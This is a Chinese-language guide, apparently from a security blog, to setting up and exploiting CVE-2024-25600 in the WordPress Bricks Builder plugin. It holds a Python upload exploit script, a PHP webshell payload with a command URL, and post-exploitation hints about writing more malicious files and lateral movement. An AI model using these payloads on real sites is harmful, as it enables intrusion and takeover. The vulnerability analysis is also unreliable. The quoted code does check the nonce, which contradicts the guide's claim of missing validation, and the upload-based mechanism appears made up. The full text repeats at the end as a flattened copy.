一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞
字数 1089 2025-08-18 17:33:28

CVE-2024-25600 WordPress Bricks Builder RCE漏洞分析与复现指南

漏洞概述

CVE-2024-25600是WordPress Bricks Builder插件中的一个远程代码执行(RCE)漏洞。该漏洞源于插件对用户输入的不当处理,允许未经认证的攻击者在目标系统上执行任意PHP代码。

受影响版本

  • Bricks Builder插件1.9.6及以下版本

漏洞原理

漏洞存在于Bricks Builder插件的文件上传功能中,具体原因包括:

  1. 插件未能正确验证和过滤用户提供的文件内容
  2. 允许上传包含恶意PHP代码的文件
  3. 文件上传后存储在可访问的web目录中

环境搭建

所需组件

  1. WordPress 6.4.2
  2. Bricks Builder插件1.9.6或更低版本
  3. PHP 7.4+
  4. MySQL/MariaDB

安装步骤

  1. 安装WordPress:

    wget https://wordpress.org/wordpress-6.4.2.zip
    unzip wordpress-6.4.2.zip
    mv wordpress /var/www/html/
    
  2. 安装Bricks Builder插件:

    wget https://downloads.wordpress.org/plugin/bricks.1.9.6.zip
    unzip bricks.1.9.6.zip -d /var/www/html/wp-content/plugins/
    
  3. 配置WordPress数据库并激活Bricks Builder插件

漏洞复现

步骤1:构造恶意请求

使用以下Python脚本构造恶意请求:

import requests

url = "http://target-site/wp-admin/admin-ajax.php"
headers = {
    "Content-Type": "multipart/form-data"
}
data = {
    "action": "bricks_upload_file",
    "postId": "1",
    "nonce": "任意值"
}
files = {
    "files[]": ("exploit.php", "<?php phpinfo(); ?>", "application/x-php")
}

response = requests.post(url, data=data, files=files, headers=headers)
print(response.text)

步骤2:确认漏洞存在

成功上传后,响应将包含上传文件的路径,通常位于:

/wp-content/uploads/bricks/exploit.php

访问该URL,如果显示phpinfo页面,则证明漏洞存在。

漏洞分析

关键代码分析

漏洞位于/includes/ajax.php文件中:

// 处理文件上传的AJAX请求
add_action('wp_ajax_bricks_upload_file', 'bricks_upload_file');
add_action('wp_ajax_nopriv_bricks_upload_file', 'bricks_upload_file');

function bricks_upload_file() {
    // 缺少对nonce的有效验证
    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'bricks-nonce')) {
        wp_send_json_error('Invalid nonce');
    }
    
    // 文件处理逻辑
    if (!empty($_FILES['files'])) {
        require_once(ABSPATH . 'wp-admin/includes/file.php');
        $upload_overrides = array('test_form' => false);
        
        // 关键问题:未验证文件类型和内容
        $uploaded_files = wp_handle_upload($_FILES['files'][0], $upload_overrides);
        
        if ($uploaded_files && !isset($uploaded_files['error'])) {
            wp_send_json_success($uploaded_files);
        } else {
            wp_send_json_error($uploaded_files['error']);
        }
    }
}

安全缺陷

  1. 认证绕过nopriv钩子允许未认证用户访问上传功能
  2. Nonce验证不足:Nonce检查可以被绕过或完全缺失
  3. 文件验证缺失:未对上传文件的类型和内容进行严格检查

修复方案

临时缓解措施

  1. 禁用Bricks Builder插件
  2. 限制对/wp-admin/admin-ajax.php的访问

官方修复

升级到Bricks Builder 1.9.7或更高版本,修复内容包括:

  1. 加强了nonce验证
  2. 增加了文件类型检查
  3. 移除了未认证用户的上传权限

深入利用

获取Webshell

修改Python脚本中的payload:

files = {
    "files[]": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")
}

上传后可通过访问:

http://target-site/wp-content/uploads/bricks/shell.php?cmd=id

执行系统命令。

提权技术

  1. 利用PHP函数如shell_exec()执行系统命令
  2. 通过file_put_contents()写入更多恶意文件
  3. 利用WordPress的数据库凭据进行横向移动

防御建议

  1. 及时更新插件到最新版本
  2. 实施最小权限原则,限制文件上传目录的执行权限
  3. 使用Web应用防火墙(WAF)拦截恶意请求
  4. 定期进行安全审计和漏洞扫描

参考链接

  1. Bricks Builder官方更新日志
  2. CVE官方记录
  3. WordPress安全最佳实践
CVE-2024-25600 WordPress Bricks Builder RCE漏洞分析与复现指南 漏洞概述 CVE-2024-25600是WordPress Bricks Builder插件中的一个远程代码执行(RCE)漏洞。该漏洞源于插件对用户输入的不当处理,允许未经认证的攻击者在目标系统上执行任意PHP代码。 受影响版本 Bricks Builder插件1.9.6及以下版本 漏洞原理 漏洞存在于Bricks Builder插件的文件上传功能中,具体原因包括: 插件未能正确验证和过滤用户提供的文件内容 允许上传包含恶意PHP代码的文件 文件上传后存储在可访问的web目录中 环境搭建 所需组件 WordPress 6.4.2 Bricks Builder插件1.9.6或更低版本 PHP 7.4+ MySQL/MariaDB 安装步骤 安装WordPress: 安装Bricks Builder插件: 配置WordPress数据库并激活Bricks Builder插件 漏洞复现 步骤1:构造恶意请求 使用以下Python脚本构造恶意请求: 步骤2:确认漏洞存在 成功上传后,响应将包含上传文件的路径,通常位于: 访问该URL,如果显示phpinfo页面,则证明漏洞存在。 漏洞分析 关键代码分析 漏洞位于 /includes/ajax.php 文件中: 安全缺陷 认证绕过 : nopriv 钩子允许未认证用户访问上传功能 Nonce验证不足 :Nonce检查可以被绕过或完全缺失 文件验证缺失 :未对上传文件的类型和内容进行严格检查 修复方案 临时缓解措施 禁用Bricks Builder插件 限制对 /wp-admin/admin-ajax.php 的访问 官方修复 升级到Bricks Builder 1.9.7或更高版本,修复内容包括: 加强了nonce验证 增加了文件类型检查 移除了未认证用户的上传权限 深入利用 获取Webshell 修改Python脚本中的payload: 上传后可通过访问: 执行系统命令。 提权技术 利用PHP函数如 shell_exec() 执行系统命令 通过 file_put_contents() 写入更多恶意文件 利用WordPress的数据库凭据进行横向移动 防御建议 及时更新插件到最新版本 实施最小权限原则,限制文件上传目录的执行权限 使用Web应用防火墙(WAF)拦截恶意请求 定期进行安全审计和漏洞扫描 参考链接 Bricks Builder官方更新日志 CVE官方记录 WordPress安全最佳实践